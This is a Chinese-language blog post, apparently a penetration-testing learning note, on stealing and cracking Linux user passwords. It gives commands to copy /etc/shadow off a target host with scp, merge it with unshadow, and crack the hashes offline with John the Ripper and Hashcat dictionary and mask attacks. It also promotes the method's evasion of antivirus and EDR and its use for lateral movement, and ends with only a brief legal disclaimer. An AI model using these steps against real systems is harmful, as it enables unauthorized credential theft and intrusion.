当前位置: 首页 > news >正文

【学习记录】Linux 密码破解实战

文章目录

    • 📌 前言
    • 🔐 一、Linux 密码存储机制简介
      • 1. `/etc/shadow` 文件的作用
      • 2. 为何选择 `/etc/shadow` 攻击?
    • 📁 二、获取 `/etc/shadow` 文件
    • 💻 三、使用 John the Ripper 提取并破解 Hash
      • 步骤 1:安装 John the Ripper
      • 步骤 2:合并 `/etc/passwd` 与 `/etc/shadow`
      • 步骤 3:开始破解
    • 🔥 四、使用 Hashcat 破解 Hash
      • 步骤 1:准备 Hash 文件
      • 步骤 2:使用 Hashcat 破解 SHA-512 Hash
        • ✅ 使用字典攻击(模式 `-m 1800`)
        • ✅ 使用暴力破解(掩码攻击)
    • 📋 示例命令汇总
    • 🧠 五、总结


📌 前言

在渗透测试或安全研究过程中,获取目标系统的用户凭证是一项关键任务。与 Windows 不同,Linux 系统中用户的登录密码不会以明文形式存储,而是经过加密处理后以哈希值的形式保存在系统文件 /etc/shadow 中。

本文将详细介绍如何通过提取 Linux 系统中的 /etc/shadow 文件,并结合 John the RipperHashcat 进行本地哈希提取与爆破,从而实现对 Linux 用户密码的破解。

整个过程无需上传恶意工具,具备良好的隐蔽性和实用性,适用于红队渗透、取证分析等场景。


🔐 一、Linux 密码存储机制简介

1. /etc/shadow 文件的作用

在 Linux 系统中,用户的密码信息通常存储在 /etc/shadow 文件中,其格式如下:

username:password_hash:last_change:min_age:max_age:warning_period:inactivity_period:expiration_date:reserved_field
  • username:用户名;
  • password_hash:加密后的密码哈希(如 SHA-512);
  • 其余字段用于管理密码策略(如过期时间、最小最大使用天数等)。

📌 注意:只有 root 权限才能读取 /etc/shadow 文件内容。

2. 为何选择 /etc/shadow 攻击?

  • 无需上传工具:只需导出 /etc/shadow 文件即可完成信息提取;
  • 规避检测:直接读取系统文件,不易被杀毒软件或 EDR 检测;
  • 离线分析:可在本地环境中进行破解,不受目标网络环境限制;
  • 高价值信息:可获取所有用户账户的密码哈希,便于后续攻击。

📁 二、获取 /etc/shadow 文件

要获取 /etc/shadow 文件,你需要具有目标机器的 root 权限。可以通过 SSH 登录或其他方式访问目标机器,并执行以下命令复制文件:

scp root@target_machine:/etc/shadow /path/to/local/directory/

或者,先拷贝到临时目录再下载:

cp /etc/shadow /tmp/shadow_backup
scp root@target_machine:/tmp/shadow_backup /path/to/local/directory/

成功获取后,即可在本地进行下一步操作。


💻 三、使用 John the Ripper 提取并破解 Hash

John the Ripper 是一款广泛使用的开源密码破解工具,支持多种哈希算法,尤其擅长解析 /etc/shadow 文件。

步骤 1:安装 John the Ripper

在大多数 Linux 发行版中,可以通过包管理器安装:

sudo apt install john      # Debian/Ubuntu
sudo yum install john      # CentOS/RHEL

步骤 2:合并 /etc/passwd/etc/shadow

使用 unshadow 工具将两个文件合并成一个可用于 John 解析的格式:

unshadow /etc/passwd /etc/shadow > passwords.txt

如果你是在本地操作已下载的 shadow 文件:

unshadow /etc/passwd /path/to/local/shadow_backup > passwords.txt

步骤 3:开始破解

默认情况下,John 会尝试自动识别哈希类型并进行破解:

john passwords.txt

如果知道是 SHA-512 加密(现代 Linux 系统常用),可以指定格式:

john --format=sha512crypt passwords.txt

你也可以使用字典攻击加速破解:

john --wordlist=/path/to/your/dictionary.txt --format=sha512crypt passwords.txt

🔥 四、使用 Hashcat 破解 Hash

Hashcat 是目前最流行的多平台密码恢复工具之一,支持 GPU 加速,效率极高。

步骤 1:准备 Hash 文件

/etc/shadow 文件中提取纯哈希值,保存为 hashes.txt,内容示例如下:

$6$salt$hash_value
$6$salt$another_hash_value

📌 $6$ 表示使用的是 SHA-512 加密算法。


步骤 2:使用 Hashcat 破解 SHA-512 Hash

✅ 使用字典攻击(模式 -m 1800
hashcat -a 0 -m 1800 hashes.txt /path/to/your/dictionary.txt
  • -a 0:表示字典攻击模式;
  • -m 1800:SHA-512 crypt 哈希类型;
  • /path/to/your/dictionary.txt:自定义字典路径。
✅ 使用暴力破解(掩码攻击)

若无合适字典,也可尝试暴力破解:

hashcat -a 3 -m 1800 hashes.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=10
  • -a 3:掩码攻击模式;
  • ?a:代表任意字符(大小写+数字+符号);
  • --increment:递增长度破解;
  • --increment-min=1 ~ --increment-max=10:设置密码长度范围。

📋 示例命令汇总

类型工具命令模板
合并用户与密码unshadowunshadow /etc/passwd /etc/shadow > passwords.txt
自动破解John the Ripperjohn passwords.txt
指定哈希类型John the Ripperjohn --format=sha512crypt passwords.txt
字典攻击Hashcathashcat -a 0 -m 1800 hashes.txt dict.txt
暴力破解Hashcathashcat -a 3 -m 1800 hashes.txt ?a...

🧠 五、总结

本文详细介绍了如何从 Linux 系统中提取 /etc/shadow 文件,并结合 John the RipperHashcat 进行本地密码哈希的提取与破解。

主要优势包括:

  • 无需上传工具:仅需导出系统文件即可完成操作;
  • 规避检测:使用原生命令操作,降低被发现的风险;
  • 离线分析:可在本地进行高效破解,提升灵活性;
  • 获取高价值用户凭证:有助于进一步横向渗透。

📌 注意:本文仅供学习交流,请勿用于非法用途。未经授权获取他人系统权限属于违法行为。


💬 欢迎留言交流你在实际操作中遇到的问题,或分享你的经验技巧!

http://www.lqws.cn/news/142057.html

相关文章:

  • 【Vue】初学Vue(setup函数,数据响应式, 脚手架 )
  • Mybatis入门到精通
  • GO语言----基础类型取别名
  • 2025 Vscode插件离线下载方式
  • HOPE800系列变频器安装到快速调试的详细操作说明
  • Python-多线程
  • Python训练打卡Day42
  • 【DVWA系列】——Brute Force(暴力破解)——low
  • C++抽象类与多态实战解析
  • Python-多线程(一)
  • 2025.6.4总结
  • URL 结构说明+路由(接口)的认识
  • 卡西欧模拟器:Windows端功能强大的计算器
  • WireShark相关技巧
  • 【趣味Html】第11课:动态闪烁发光粒子五角星
  • [特殊字符] 革命性AI提示词优化平台正式开源!
  • 近期调试有感
  • 爬虫学习记录day1
  • 《短线追涨与低吸技术》速读笔记
  • 使用cephadm离线部署reef 18版并配置对接openstack
  • C语言-指针基础概念
  • Vue 生命周期全解析:从创建到销毁的完整旅程
  • OD 算法题 B卷【查找舆情热词】
  • el-amap-bezier-curve运用及线弧度设置
  • 构建高效可靠的电商 API:设计原则与实践指南
  • Oracle数据库笔记
  • 智能合约安全漏洞解析:从 Reentrancy 到 Integer Overflow
  • 嵌入式系统中常用的开源协议
  • LeetCode 热题 100 739. 每日温度
  • 修复与升级suse linux